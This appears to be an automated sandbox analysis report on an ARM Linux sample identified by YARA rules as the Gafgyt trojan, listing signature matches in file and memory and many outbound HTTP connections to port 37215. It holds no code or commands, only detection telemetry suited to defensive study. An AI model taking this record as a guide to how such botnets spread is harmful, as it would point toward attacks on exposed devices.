Source: vcimanagement.armv7l.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: vcimanagement.armv7l.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: vcimanagement.armv7l.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5429, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5431, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5435, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5436, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5451, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 41748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54148 -> 37215
